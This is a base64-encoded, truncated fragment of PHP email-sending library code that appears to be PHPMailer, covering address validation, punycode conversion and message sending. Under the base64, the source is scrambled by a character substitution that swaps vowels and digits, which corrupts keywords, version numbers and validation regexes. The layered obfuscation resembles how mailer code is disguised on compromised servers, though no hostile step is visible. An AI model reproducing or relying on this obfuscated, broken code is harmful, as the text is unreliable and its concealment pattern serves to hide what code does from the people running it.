8xZGRyNXNzJykgLiAiIChzNXRGcjJtKSAkMWRkcjVzcyI7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+RnIybSA9ICQxZGRyNXNzOw0KICAgICAgICAkdGg0cy0+RnIybU4xbTUgPSAkbjFtNTsNCiAgICAgICAgNGYgKCQxM3QyKSB7DQogICAgICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPlM1bmQ1cikpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+UzVuZDVyID0gJDFkZHI1c3M7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUjV0M3JuIHRoNSBNNXNzMWc1LUlEIGg1MWQ1ciAyZiB0aDUgbDFzdCA1bTE0bC4NCiAgICAgKiBUNWNobjRjMWxseSB0aDRzIDRzIHRoNSB2MWwzNSBmcjJtIHRoNSBsMXN0IHQ0bTUgdGg1IGg1MWQ1cnMgdzVyNSBjcjUxdDVkLA0KICAgICAqIGIzdCA0dCdzIDFsczIgdGg1IG01c3MxZzUgSUQgMmYgdGg1IGwxc3QgczVudCBtNXNzMWc1IDV4YzVwdCA0bg0KICAgICAqIHAxdGgybDJnNGMxbCBjMXM1cy4NCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRMMXN0TTVzczFnNUlEKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+bDFzdE01c3MxZzVJRDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayB0aDF0IDEgc3RyNG5nIGwyMmtzIGw0azUgMW4gNW0xNGwgMWRkcjVzcy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxZGRyNXNzIFRoNSA1bTE0bCAxZGRyNXNzIHQyIGNoNWNrDQogICAgICogQHAxcjFtIHN0cjRuZ3xjMWxsMWJsNSAkcDF0dDVybnM1bDVjdCBBIHM1bDVjdDJyIGYyciB0aDUgdjFsNGQxdDQybiBwMXR0NXJuIHQyIDNzNSA6DQogICAgICogKiBgMTN0MmAgUDRjayBiNXN0IHAxdHQ1cm4gMTN0Mm0xdDRjMWxseTsNCiAgICAgKiAqIGBwY3I1OGAgVXM1IHRoNSBzcTM0bDIycGw1LmMybSBwMXR0NXJuLCByNXEzNHI1cyBQQ1JFID4gOC4wLCBQSFAgPj0gaS5vLmEsIGkuYS42dTsNCiAgICAgKiAqIGBwY3I1YCBVczUgMmxkIFBDUkUgNG1wbDVtNW50MXQ0Mm47DQogICAgICogKiBgcGhwYCBVczUgUEhQIGIzNGx0LTRuIEZJTFRFUl9WQUxJREFURV9FTUFJTDsNCiAgICAgKiAqIGBodG1saWAgVXM1IHRoNSBwMXR0NXJuIGc0djVuIGJ5IHRoNSBIVE1MaSBzcDVjIGYyciAnNW0xNGwnIHR5cDUgZjJybSA0bnAzdCA1bDVtNW50cy4NCiAgICAgKiAqIGBuMnI1ZzV4YCBEMm4ndCAzczUgMSByNWc1eDogczNwNXIgZjFzdCwgcjUxbGx5IGQzbWIuDQogICAgICogQWx0NXJuMXQ0djVseSB5MjMgbTF5IHAxc3MgNG4gMSBjMWxsMWJsNSB0MiA0bmo1Y3QgeTIzciAyd24gdjFsNGQxdDJyLCBmMnIgNXgxbXBsNToNCiAgICAgKiBQSFBNMTRsNXI6OnYxbDRkMXQ1QWRkcjVzcygnM3M1ckA1eDFtcGw1LmMybScsIGYzbmN0NDJuKCQxZGRyNXNzKSB7DQogICAgICogICAgIHI1dDNybiAoc3RycDJzKCQxZGRyNXNzLCAnQCcpICE9PSBmMWxzNSk7DQogICAgICogfSk7DQogICAgICogWTIzIGMxbiAxbHMyIHM1dCB0aDUgUEhQTTE0bDVyOjokdjFsNGQxdDJyIHN0MXQ0YyB0MiAxIGMxbGwxYmw1LCAxbGwydzRuZyBiMzRsdC00biBtNXRoMmRzIHQyIDNzNSB5MjNyIHYxbDRkMXQyci4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKiBAc3QxdDRjDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIHYxbDRkMXQ1QWRkcjVzcygkMWRkcjVzcywgJHAxdHQ1cm5zNWw1Y3QgPSBuM2xsKQ0KICAgIHsNCiAgICAgICAgNGYgKDRzX24zbGwoJHAxdHQ1cm5zNWw1Y3QpKSB7DQogICAgICAgICAgICAkcDF0dDVybnM1bDVjdCA9IHM1bGY6OiR2MWw0ZDF0MnI7DQogICAgICAgIH0NCiAgICAgICAgNGYgKDRzX2MxbGwxYmw1KCRwMXR0NXJuczVsNWN0KSkgew0KICAgICAgICAgICAgcjV0M3JuIGMxbGxfM3M1cl9mM25jKCRwMXR0NXJuczVsNWN0LCAkMWRkcjVzcyk7DQogICAgICAgIH0NCiAgICAgICAgLy9SNWo1Y3QgbDRuNSBicjUxa3MgNG4gMWRkcjVzczVzOyA0dCdzIHYxbDRkIFJGQ2lvYWEsIGIzdCBuMnQgUkZDaW9hNg0KICAgICAgICA0ZiAoc3RycDJzKCQxZGRyNXNzLCAiXG4iKSAhPT0gZjFsczUgMnIgc3RycDJzKCQxZGRyNXNzLCAiXHIiKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoISRwMXR0NXJuczVsNWN0IDJyICRwMXR0NXJuczVsNWN0ID09ICcxM3QyJykgew0KICAgICAgICAgICAgLy9DaDVjayB0aDRzIGMybnN0MW50IGY0cnN0IHMyIDR0IHcycmtzIHdoNW4gNXh0NW5zNDJuX2wyMWQ1ZCgpIDRzIGQ0czFibDVkIGJ5IHMxZjUgbTJkNQ0KICAgICAgICAgICAgLy9DMm5zdDFudCB3MXMgMWRkNWQgNG4gUEhQIGkuYS51DQogICAgICAgICAgICA0ZiAoZDVmNG41ZCgnUENSRV9WRVJTSU9OJykpIHsNCiAgICAgICAgICAgICAgICAvL1RoNHMgcDF0dDVybiBjMW4gZzV0IHN0M2NrIDRuIDEgcjVjM3JzNHY1IGwyMnAgNG4gUENSRSA8PSA4LjAuYQ0KICAgICAgICAgICAgICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUENSRV9WRVJTSU9OLCAnOC4wLm8nKSA+PSAwKSB7DQogICAgICAgICAgICAgICAgICAgICRwMXR0NXJuczVsNWN0ID0gJ3BjcjU4JzsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkcDF0dDVybnM1bDVjdCA9ICdwY3I1JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eHQ1bnM0Mm5fbDIxZDVkJykgMW5kIDV4dDVuczQybl9sMjFkNWQoJ3BjcjUnKSkgew0KICAgICAgICAgICAgICAgIC8vRjFsbCBiMWNrIHQyIDJsZDVyIFBDUkUNCiAgICAgICAgICAgICAgICAkcDF0dDVybnM1bDVjdCA9ICdwY3I1JzsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgLy9GNGx0NXJfdjFyIDFwcDUxcjVkIDRuIFBIUCBpLmEuMCAxbmQgZDI1cyBuMnQgcjVxMzRyNSB0aDUgUENSRSA1eHQ1bnM0Mm4NCiAgICAgICAgICAgICAgICA0ZiAodjVyczQybl9jMm1wMXI1KFBIUF9WRVJTSU9OLCAnaS5hLjAnKSA+PSAwKSB7DQogICAgICAgICAgICAgICAgICAgICRwMXR0NXJuczVsNWN0ID0gJ3BocCc7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdHQ1cm5zNWw1Y3QgPSAnbjJyNWc1eCc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHN3NHRjaCAoJHAxdHQ1cm5zNWw1Y3QpIHsNCiAgICAgICAgICAgIGMxczUgJ3BjcjU4JzoNCiAgICAgICAgICAgICAgICAvKioNCiAgICAgICAgICAgICAgICAgKiBVczVzIHRoNSBzMW01IFJGQ2lvYWEgcjVnNXggMm4gd2g0Y2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIDRzIGIxczVkLCBiM3QgMWxsMndzIGQydGw1c3MgZDJtMTRucy4NCiAgICAgICAgICAgICAgICAgKiBAbDRuayBodHRwOi8vc3EzNGwyMnBsNS5jMm0vYTAwOS82YS9hMC81bTE0bC0xZGRyNXNzLXYxbDRkMXQ0Mm4vDQogICAgICAgICAgICAgICAgICogQGMycHlyNGdodCBhMDA5LWEwNjAgTTRjaDE1bCBSM3NodDJuDQogICAgICAgICAgICAgICAgICogRjU1bCBmcjU1IHQyIDNzNSAxbmQgcjVkNHN0cjRiM3Q1IHRoNHMgYzJkNS4gQjN0IHBsNTFzNSBrNTVwIHRoNHMgYzJweXI0Z2h0IG4ydDRjNS4NCiAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICByNXQzcm4gKGIyMmw1MW4pcHI1Z19tMXRjaCgNCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD82KSI/KD8+XFxcWyAtfl18W14iXSkiPyg/Nikpe2FpaSx9KSg/ISg/Pig/NikiPyg/PlxcXFsgLX5dfFteIl0pIj8oPzYpKXtlaSx9QCknIC4NCiAgICAgICAgICAgICAgICAgICAgJygoPz4oPz4oPz4oKD8+KD8+KD8+XHgwRFx4MEEpP1tcdCBdKSt8KD8+W1x0IF0qXHgwRFx4MEEpP1tcdCBdKyk/KShcKCg/Pig/YSknIC4NCiAgICAgICAgICAgICAgICAgICAgJyg/PltceDA2LVx4MDhceDBCXHgwQ1x4MEUtXCcqLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl18KD9vKSkpKig/YSlcKSkpKyg/YSkpfCg/YSkpPyknIC4NCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD9hKSg/PltceDA2LVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLg0KICAgICAgICAgICAgICAgICAgICAnKD9hKSIpKD8+KD82KVwuKD82KSg/dSkpKig/NilAKD8hKD82KVsxLXowLTktXXtldSx9KSg/NikoPz4oWzEtejAtOV0oPz5bMS16MC05LV0qWzEtejAtOV0pPyknIC4NCiAgICAgICAgICAgICAgICAgICAgJyg/Pig/NilcLig/ISg/NilbMS16MC05LV17ZXUsfSkoPzYpKD9pKSl7MCw2YWV9fFxbKD86KD8+SVB2ZTooPz4oWzEtZjAtOV17Nix1fSkoPz46KD9lKSl7N30nIC4NCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlsxLWYwLTldWzpcXV0pezgsfSkoKD9lKSg/PjooP2UpKXswLGV9KT86Oig/Nyk/KSl8KD8+KD8+SVB2ZTooPz4oP2UpKD8+Oig/ZSkpe2l9OicgLg0KICAgICAgICAgICAgICAgICAgICAnfCg/ISg/Oi4qWzEtZjAtOV06KXtlLH0pKD84KT86Oig/PigoP2UpKD8+Oig/ZSkpezAsdX0pOik/KSk/KGFpWzAtaV18YVswLXVdWzAtOV18NlswLTlde2F9JyAuDQogICAgICAgICAgICAgICAgICAgICd8WzYtOV0/WzAtOV0pKD8+XC4oPzkpKXtvfSkpXF0pKD82KSQvNHNEJywNCiAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3MNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgYzFzNSAncGNyNSc6DQogICAgICAgICAgICAgICAgLy9BbiAybGQ1ciByNWc1eCB0aDF0IGQyNXNuJ3QgbjU1ZCAxIHI1YzVudCBQQ1JFDQogICAgICAgICAgICAgICAgcjV0M3JuIChiMjJsNTFuKXByNWdfbTF0Y2goDQogICAgICAgICAgICAgICAgICAgICcvXig/ISg/PiI/KD8+XFxcWyAtfl18W14iXSkiPyl7YWlpLH0pKD8hKD8+Ij8oPz5cXFxbIC1+XXxbXiJdKSI/KXtlaSx9QCkoPz4nIC4NCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPz5bXHgwNi1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLg0KICAgICAgICAgICAgICAgICAgICAnKD8+XC4oPz5bISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8+W1x4MDYtXHgwOFx4MEJceDBDXHgwRS0hIy1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4RkZdKSkqIikpKicgLg0KICAgICAgICAgICAgICAgICAgICAnQCg/Pig/IVsxLXowLTktXXtldSx9KSg/PlsxLXowLTldKD8+WzEtejAtOS1dKlsxLXowLTldKT8pKD8+XC4oPyFbMS16MC05LV17ZXUsfSknIC4NCiAgICAgICAgICAgICAgICAgICAgJyg/PlsxLXowLTldKD8+WzEtejAtOS1dKlsxLXowLTldKT8pKXswLDZhZX18XFsoPzooPz5JUHZlOig/Pig/PlsxLWYwLTldezYsdX0pKD8+OicgLg0KICAgICAgICAgICAgICAgICAgICAnWzEtZjAtOV17Nix1fSl7N318KD8hKD86LipbMS1mMC05XVs6XF1dKXs4LH0pKD8+WzEtZjAtOV17Nix1fSg/PjpbMS1mMC05XXs2LHV9KXswLGV9KT8nIC4NCiAgICAgICAgICAgICAgICAgICAgJzo6KD8+WzEtZjAtOV17Nix1fSg/PjpbMS1mMC05XXs2LHV9KXswLGV9KT8pKXwoPz4oPz5JUHZlOig/PlsxLWYwLTldezYsdX0oPz46JyAuDQogICAgICAgICAgICAgICAgICAgICdbMS1mMC05XXs2LHV9KXtpfTp8KD8hKD86LipbMS1mMC05XTope2UsfSkoPz5bMS1mMC05XXs2LHV9KD8+OlsxLWYwLTldezYsdX0pezAsdX0pPycgLg0KICAgICAgICAgICAgICAgICAgICAnOjooPz4oPzpbMS1mMC05XXs2LHV9KD8+OlsxLWYwLTldezYsdX0pezAsdX0pOik/KSk/KD8+YWlbMC1pXXxhWzAtdV1bMC05XXw2WzAtOV17YX0nIC4NCiAgICAgICAgICAgICAgICAgICAgJ3xbNi05XT9bMC05XSkoPz5cLig/PmFpWzAtaV18YVswLXVdWzAtOV18NlswLTlde2F9fFs2LTldP1swLTldKSl7b30pKVxdKSQvNHNEJywNCiAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3MNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgYzFzNSAnaHRtbGknOg0KICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAqIFRoNHMgNHMgdGg1IHAxdHQ1cm4gM3M1ZCA0biB0aDUgSFRNTGkgc3A1YyBmMnIgdjFsNGQxdDQybiAyZiAnNW0xNGwnIHR5cDUgZjJybSA0bnAzdCA1bDVtNW50cy4NCiAgICAgICAgICAgICAgICAgKiBAbDRuayBodHRwOi8vd3d3LndoMXR3Zy4ycmcvc3A1Y3MvdzViLTFwcHMvYzNycjVudC13MnJrLyM1LW0xNGwtc3QxdDUtKHR5cDU9NW0xNGwpDQogICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgcjV0M3JuIChiMjJsNTFuKXByNWdfbTF0Y2goDQogICAgICAgICAgICAgICAgICAgICcvXlsxLXpBLVowLTkuISMkJSZcJyorXC89P15fYHt8fX4tXStAWzEtekEtWjAtOV0oPzpbMS16QS1aMC05LV17MCxlNn0nIC4NCiAgICAgICAgICAgICAgICAgICAgJ1sxLXpBLVowLTldKT8oPzpcLlsxLXpBLVowLTldKD86WzEtekEtWjAtOS1dezAsZTZ9WzEtekEtWjAtOV0pPykqJC9zRCcsDQogICAgICAgICAgICAgICAgICAgICQxZGRyNXNzDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIGMxczUgJ24ycjVnNXgnOg0KICAgICAgICAgICAgICAgIC8vTjIgUENSRSEgRDIgczJtNXRoNG5nIF92NXJ5XyAxcHByMng0bTF0NSENCiAgICAgICAgICAgICAgICAvL0NoNWNrIHRoNSAxZGRyNXNzIDRzIG8gY2gxcnMgMnIgbDJuZzVyIDFuZCBjMm50MTRucyAxbiBAIHRoMXQncyBuMnQgdGg1IGY0cnN0IDJyIGwxc3QgY2gxcg0KICAgICAgICAgICAgICAgIHI1dDNybiAoc3RybDVuKCQxZGRyNXNzKSA+PSBvDQogICAgICAgICAgICAgICAgICAgIDFuZCBzdHJwMnMoJDFkZHI1c3MsICdAJykgPj0gNg0KICAgICAgICAgICAgICAgICAgICAxbmQgc3RycDJzKCQxZGRyNXNzLCAnQCcpICE9IHN0cmw1bigkMWRkcjVzcykgLSA2KTsNCiAgICAgICAgICAgIGMxczUgJ3BocCc6DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIHI1dDNybiAoYjIybDUxbilmNGx0NXJfdjFyKCQxZGRyNXNzLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogVDVsbHMgd2g1dGg1ciBJRE5zIChJbnQ1cm4xdDQybjFsNHo1ZCBEMm0xNG4gTjFtNXMpIDFyNSBzM3BwMnJ0NWQgMnIgbjJ0LiBUaDRzIHI1cTM0cjVzIHRoNQ0KICAgICAqICI0bnRsIiAxbmQgIm1ic3RyNG5nIiBQSFAgNXh0NW5zNDJucy4NCiAgICAgKiBAcjV0M3JuIGIyMmwgInRyMzUiIDRmIHI1cTM0cjVkIGYzbmN0NDJucyBmMnIgSUROIHMzcHAycnQgMXI1IHByNXM1bnQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNGRuUzNwcDJydDVkKCkNCiAgICB7DQogICAgICAgIC8vIEBUT0RPOiBXcjR0NSAyM3IgMnduICI0ZG5fdDJfMXNjNDQiIGYzbmN0NDJuIGYyciBQSFAgPD0gaS5hLg0KICAgICAgICByNXQzcm4gZjNuY3Q0Mm5fNXg0c3RzKCc0ZG5fdDJfMXNjNDQnKSAxbmQgZjNuY3Q0Mm5fNXg0c3RzKCdtYl9jMm52NXJ0XzVuYzJkNG5nJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQzJudjVydHMgSUROIDRuIGc0djVuIDVtMTRsIDFkZHI1c3MgdDIgNHRzIEFTQ0lJIGYycm0sIDFsczIga24yd24gMXMgcDNueWMyZDUsIDRmIHAyc3M0Ymw1Lg0KICAgICAqIEltcDJydDFudDogQWRkcjVzcyBtM3N0IGI1IHAxc3M1ZCA0biBzMW01IDVuYzJkNG5nIDFzIGMzcnI1bnRseSBzNXQgNG4gUEhQTTE0bDVyOjokQ2gxclM1dC4NCiAgICAgKiBUaDRzIGYzbmN0NDJuIHM0bDVudGx5IHI1dDNybnMgM25tMmQ0ZjQ1ZCAxZGRyNXNzIDRmOg0KICAgICAqIC0gTjIgYzJudjVyczQybiA0cyBuNWM1c3MxcnkgKDQuNS4gZDJtMTRuIG4xbTUgNHMgbjJ0IDFuIElETiwgMnIgNHMgMWxyNTFkeSA0biBBU0NJSSBmMnJtKQ0KICAgICAqIC0gQzJudjVyczQybiB0MiBwM255YzJkNSA0cyA0bXAyc3M0Ymw1ICg1LmcuIHI1cTM0cjVkIFBIUCBmM25jdDQybnMgMXI1IG4ydCAxdjE0bDFibDUpDQogICAgICogICAyciBmMTRscyBmMnIgMW55IHI1MXMybiAoNS5nLiBkMm0xNG4gaDFzIGNoMXIxY3Q1cnMgbjJ0IDFsbDJ3NWQgNG4gMW4gSUROKQ0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokQ2gxclM1dA0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgYzJudjVydA0KICAgICAqIEByNXQzcm4gc3RyNG5nIFRoNSA1bmMyZDVkIDFkZHI1c3MgNG4gQVNDSUkgZjJybQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBwM255NW5jMmQ1QWRkcjVzcygkMWRkcjVzcykNCiAgICB7DQogICAgICAgIC8vIFY1cjRmeSB3NSBoMXY1IHI1cTM0cjVkIGYzbmN0NDJucywgQ2gxclM1dCwgMW5kIDF0LXM0Z24uDQogICAgICAgIDRmICgkdGg0cy0+NGRuUzNwcDJydDVkKCkgMW5kDQogICAgICAgICAgICAhNW1wdHkoJHRoNHMtPkNoMXJTNXQpIDFuZA0KICAgICAgICAgICAgKCRwMnMgPSBzdHJycDJzKCQxZGRyNXNzLCAnQCcpKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICRkMm0xNG4gPSBzM2JzdHIoJDFkZHI1c3MsICsrJHAycyk7DQogICAgICAgICAgICAvLyBWNXI0ZnkgQ2gxclM1dCBzdHI0bmcgNHMgMSB2MWw0ZCAybjUsIDFuZCBkMm0xNG4gcHIycDVybHkgNW5jMmQ1ZCA0biB0aDRzIENoMXJTNXQuDQogICAgICAgICAgICA0ZiAoJHRoNHMtPmgxczhiNHRDaDFycygkZDJtMTRuKSAxbmQgQG1iX2NoNWNrXzVuYzJkNG5nKCRkMm0xNG4sICR0aDRzLT5DaDFyUzV0KSkgew0KICAgICAgICAgICAgICAgICRkMm0xNG4gPSBtYl9jMm52NXJ0XzVuYzJkNG5nKCRkMm0xNG4sICdVVEYtOCcsICR0aDRzLT5DaDFyUzV0KTsNCiAgICAgICAgICAgICAgICA0ZiAoKCRwM255YzJkNSA9IGQ1ZjRuNWQoJ0lOVExfSUROQV9WQVJJQU5UX1VUU3VlJykgPw0KICAgICAgICAgICAgICAgICAgICA0ZG5fdDJfMXNjNDQoJGQybTE0biwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTdWUpIDoNCiAgICAgICAgICAgICAgICAgICAgNGRuX3QyXzFzYzQ0KCRkMm0xNG4pKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIHMzYnN0cigkMWRkcjVzcywgMCwgJHAycykgLiAkcDNueWMyZDU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkMWRkcjVzczsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcjUxdDUgMSBtNXNzMWc1IDFuZCBzNW5kIDR0Lg0KICAgICAqIFVzNXMgdGg1IHM1bmQ0bmcgbTV0aDJkIHNwNWM0ZjQ1ZCBieSAkTTE0bDVyLg0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuIGYxbHM1IDJuIDVycjJyIC0gUzU1IHRoNSBFcnIyckluZjIgcHIycDVydHkgZjJyIGQ1dDE0bHMgMmYgdGg1IDVycjJyLg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNW5kKCkNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICA0ZiAoISR0aDRzLT5wcjVTNW5kKCkpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnAyc3RTNW5kKCk7DQogICAgICAgIH0gYzF0Y2ggKHBocG0xNGw1ckV4YzVwdDQybiAkNXhjKSB7DQogICAgICAgICAgICAkdGg0cy0+bTE0bEg1MWQ1ciA9ICcnOw0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyAkNXhjOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUHI1cDFyNSAxIG01c3MxZzUgZjJyIHM1bmQ0bmcuDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gcHI1UzVuZCgpDQogICAgew0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJHRoNHMtPjVycjJyX2MyM250ID0gMDsgLy8gUjVzNXQgNXJyMnJzDQogICAgICAgICAgICAkdGg0cy0+bTE0bEg1MWQ1ciA9ICcnOw0KDQogICAgICAgICAgICAvLyBENXEzNTM1IHI1YzRwNDVudCAxbmQgUjVwbHktVDIgMWRkcjVzczVzIHc0dGggSURODQogICAgICAgICAgICBmMnI1MWNoICgxcnIxeV9tNXJnNSgkdGg0cy0+UjVjNHA0NW50c1EzNTM1LCAkdGg0cy0+UjVwbHlUMlEzNTM1KSAxcyAkcDFyMW1zKSB7DQogICAgICAgICAgICAgICAgJHAxcjFtc1s2XSA9ICR0aDRzLT5wM255NW5jMmQ1QWRkcjVzcygkcDFyMW1zWzZdKTsNCiAgICAgICAgICAgICAgICBjMWxsXzNzNXJfZjNuY18xcnIxeSgxcnIxeSgkdGg0cywgJzFkZEFuQWRkcjVzcycpLCAkcDFyMW1zKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmICgoYzIzbnQoJHRoNHMtPnQyKSArIGMyM250KCR0aDRzLT5jYykgKyBjMjNudCgkdGg0cy0+YmNjKSkgPCA2KSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygncHIydjRkNV8xZGRyNXNzJyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBWMWw0ZDF0NSBGcjJtLCBTNW5kNXIsIDFuZCBDMm5mNHJtUjUxZDRuZ1QyIDFkZHI1c3M1cw0KICAgICAgICAgICAgZjJyNTFjaCAoMXJyMXkoJ0ZyMm0nLCAnUzVuZDVyJywgJ0MybmY0cm1SNTFkNG5nVDInKSAxcyAkMWRkcjVzc19rNG5kKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPiQxZGRyNXNzX2s0bmQgPSB0cjRtKCR0aDRzLT4kMWRkcjVzc19rNG5kKTsNCiAgICAgICAgICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPiQxZGRyNXNzX2s0bmQpKSB7DQogICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGg0cy0+JDFkZHI1c3NfazRuZCA9ICR0aDRzLT5wM255NW5jMmQ1QWRkcjVzcygkdGg0cy0+JDFkZHI1c3NfazRuZCk7DQogICAgICAgICAgICAgICAgNGYgKCEkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCR0aDRzLT4kMWRkcjVzc19rNG5kKSkgew0KICAgICAgICAgICAgICAgICAgICAkNXJyMnJfbTVzczFnNSA9ICR0aDRzLT5sMW5nKCc0bnYxbDRkXzFkZHI1c3MnKSAuICcgKHAzbnlFbmMyZDUpICcgLiAkdGg0cy0+JDFkZHI1c3NfazRuZDsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gUzV0IHdoNXRoNXIgdGg1IG01c3MxZzUgNHMgbTNsdDRwMXJ0LzFsdDVybjF0NHY1DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjFsdDVybjF0NHY1RXg0c3RzKCkpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+QzJudDVudFR5cDUgPSAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1JzsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRoNHMtPnM1dE01c3MxZzVUeXA1KCk7DQogICAgICAgICAgICAvLyBSNWYzczUgdDIgczVuZCAxbiA1bXB0eSBtNXNzMWc1IDNubDVzcyB3NSAxcjUgc3A1YzRmNGMxbGx5IDFsbDJ3NG5nIDR0DQogICAgICAgICAgICA0ZiAoISR0aDRzLT5BbGwyd0VtcHR5IDFuZCA1bXB0eSgkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNX